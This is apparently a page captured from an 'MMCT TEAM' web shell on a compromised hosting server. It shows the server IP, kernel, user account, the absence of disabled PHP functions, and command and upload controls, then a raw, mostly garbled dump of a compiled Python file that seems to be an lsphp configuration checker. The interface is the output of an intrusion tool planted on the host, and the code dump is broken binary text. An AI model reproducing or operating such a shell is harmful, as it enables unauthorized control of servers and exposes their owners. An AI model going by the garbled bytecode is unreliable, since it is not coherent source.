MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/lve/modlscapi/user/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/lve/modlscapi/user/__pycache__/lsphpchecker.cpython-36.opt-1.pyc
3

N_"g,�@s�ddlZddlZddlZddlZddlmZmZdd�dd�dd�dd�dd�d	�Zd
ddd
dd	�Zdddd�Z	da
dd�ZGdd�d�ZGdd�d�Z
dd�Zdd�Zdekr�eejdd��dS)�N)�Popen�PIPEcCs||kS)N�)�x�yrr�/lsphpchecker.py�<lambda>srcCs||kS)Nr)rrrrrrscCs||kS)Nr)rrrrrrscCs||kS)Nr)rrrrrrscCs||kS)Nr)rrrrrrs)�gt�gte�ltZlte�eqZmorez
more or equalZlessz
less or equalZequal�i)�M�G�TcCst|tjd�dS)zC
    Wrapper for logging errors.
    Simple logging to stderr.
    )�fileN)�print�sys�stderr)�msgrrr�	log_error'src@s4eZdZdZedd��Zedd��Zedd��ZdS)	�Castz3
    Class with functions for cast to any type
    cCsddd�j|tj|��S)Nrr
)ZOffZOn)�getr�	to_number)�_vrrr�to_bool3szCast.to_boolcCsVt|�sdS|dj�r d|}tj|dd��}|dkr>dS|tj|dj�d�S)Nr
z%sM���rr)�len�isdigitrr�BYTES_CONVERSION_TABLEr�upper)rZ_numrrr�to_mb7sz
Cast.to_mbcCs&yt|�Sttfk
r dSXdS)N)�int�
ValueError�	TypeError)rrrrrEszCast.to_numberN)�__name__�
__module__�__qualname__�__doc__�staticmethodrr!rrrrrr/srcsdeZdZdZdZdZdZ�fdd�Zdd�Zdd	�Z	d
d�Z
dd
�Zdd�Zdd�Z
dd�Z�ZS)�
PhpCheckerz"
    docstring for PhpChecker
    z./usr/share/lve/modlscapi/user/lsphpchecker.iniNcsjtt|�j�tjd�}tdkrX|jtjd��|jtjd��|jtjd��t|�}||_|j�dS)z.
        Initialize php versions list
        z/usr/local/bin/lsphpr
z/opt/alt/php*/usr/bin/lsphpz&/opt/cpanel/ea-php*/root/usr/bin/lsphpz/usr/bin/lsphpN)	�superr*�__init__�glob�quick�extend�sorted�_PhpChecker__php_binary�_load_sample_options)�selfZphp_list)�	__class__rrr,Us
zPhpChecker.__init__cCsPxJ|jD]@}tjj|�r|j||�}|rx|D]}td|||f�q.WqWdS)z/
        Check configurations for user
        z
%s: %s: %sN)r1�os�path�exists�_check_php_optionsr)r3�user�php_pathZcheck_result�messagerrr�
check_useres
zPhpChecker.check_usercCs@g}|j||�}|j||�}||j|d�7}||j|d�7}|S)z�
        Load and check specified php version options
        @param `php_path` str: path to php binary
        @param `user` str: username
        ZapcZsuhosin)�_load_php_options�_detect_danger_modules�_check_options)r3r:r9�warnings�options�modulesrrrr8pszPhpChecker._check_php_optionscCs�|dkrt|dgttd�}ntd|dd||fgttd�}|j�\}}i}d}x�|j�jd�D]�}d	|krpd
}q^|r^|s~d}q^|jd�}	t|	�dkr�td
|�q^d|	dkr�d}
|	d}n|	djdd�\}
}|
|kr�i||
<|	d||
|	d<q^W|S)z:
        Load php options from CLI phpinfo output
        �z-i)�stdoutrz/bin/suz-cz[ ! -f %s ] || %s -iF�
z(Directive => Local Value => Master ValueTz => �zInvalid option line - %s�.rZ
__common__r
)rr�communicate�decode�splitrr)r3r:r9�p�out�errrAZoption_value�line�values�module�keyrrrr=�s8



zPhpChecker._load_php_optionscCs�|dkrt|dgttd�}ntd|dd||fgttd�}|j�\}}i}xD|j�jd�D]2}|j�}|jd�rzd	|d
<qZ|jd�rZd	|d<qZW|S)
zZ
        Detect unstable and potential danger php modules from php version output
        rCz-i)rDrz/bin/suz-cz[ ! -f %s ] || %s -irEzwith the ionCube PHP LoaderTZioncube_loaderzwith Zend Guard LoaderZzend_guard_loader)rrrHrIrJ�strip�
startswith)r3r:r9rKrLrMrBrNrrrr>�s




z!PhpChecker._detect_danger_modulescCs�|s0t|t�s0t|t�s0t|j|�t�r4gS||jkrBgSg}||}x^|j|j�D]L\}}||kr^|j|||�r^|jd|tj|dd�|d||f�q^Wt	|�r�|j
dd|�|j
dd|�|S)z:
        Check php options based on sample config
        z9%s must be %s %s (current value: %s) (no value means Off)�checkrC�valuerz[%s]zchange %s options to default)�
isinstance�dict�strr�_PhpChecker__sample�items�_validate_value�append�
CHECK_KEYSr�insert)r3�configrP�resultrArQZ
check_inforrrr?�s"
zPhpChecker._check_optionsc	Csi|_y�t|jd�}x�|D]�}|j�}d}d}yH|jdd�\}}d|krd|jd�\}}|jd�\}}|jdd�d	}Wn&ttfk
r�td
|�wYnX||jkr�i|j|<|j�||d�|j||j�<qW|j�Wn(t	t
fk
�rtd|j�YnXd
S)z%
        Load sample options
        �r�numberr
�=r
�,�:rGrzInvalid sample string %s)rU�typerTz
Error read %sN)rY�open�SAMPLE_CONFIG_PATHrRrJr#�
IndexErrorr�close�OSError�IOErrorr)	r3�frN�
value_type�
check_typerQrUZ	type_inforPrrrr2�s.


zPhpChecker._load_sample_optionscCsvt|t�sdS|jdd�}|jdd�}|d}d|}tt|�r\tt|�|�}tt|�|�}|tkrhdSt|||�S)z�
        Validate option value.
        @param value_type `str`|default:"number" : value type
        @param value1 `str|int`: value1 for compare
        @param value2 `str|int`: value2 for compare
        @return int : -1, 0, 1
        FrfrbrTr
rUzto_%s)rVrWr�hasattrr�getattr�CHECK)r3rUZrulernroZcheck_valueZ	cast_funcrrrr[s

zPhpChecker._validate_value)r%r&r'r(rhr1rYr,r<r8r=r>r?r2r[�
__classcell__rr)r4rr*Ms.r*cCs�d}}y�tdd�}x�|D]�}|jd�r8|jd�r8q|j�}|sFqy6|ddkrbt|d�}n|ddkrzt|d�}Wqttfk
r�td�PYqXqW|j�Wn&tt	fk
r�t
d	tjd
�YnX||fS)z:
    Load min and max UID from /etc/login.defs config
    Nz/etc/login.defsra�UID_MIN�UID_MAXrr
zInvalid UID_MIN/UID_MAX valuesz8Can`t read UID_MIN and UID_MAX from /etc/login.defs file)r)
rgrSrJr"r#rirrjrlrkrrr)Zmin_uidZmax_uidrmrN�datarrr�load_min_max_uids*

rwcCsBt|�dkrN|ddkrNtdtjd�td�td�td�td�dSt|�dkr�|dd	ksr|dd
kr�|dd	kr�danda|dd�}t�}tdkr�|jd
�n�|r�x�|D]>}ytj|�}|j|�Wq�t	k
r�t
d|�Yq�Xq�WnBt�\}}x6tj�D]*}|j
|k�r|j
|k�r|j|j��qWdS)z
    Run check
    r�helpz!%s [help] [quick] [users list...]z   help       - show this helpz9   fast       - check all lsphp without switching to userzD   medium     - check all users but only /usr/local/bin/lsphp configz_   users list - list of needed users or empty. i this case users list will be taken from passwdNZfastZmedium�r
rCzUser %s doesn`t exists)rrr�argvr.r*r<�pwd�getpwnam�KeyErrorrrwZgetpwallZpw_uidZpw_name)Z
users_listZcheckerZusernamer9rtrurrr�main<s4$


r~�__main__i)r-r5r{r�
subprocessrrrrr]rr.rrr*rwr~r%rzrrrr�<module>s*
Q&

MMCT - 2023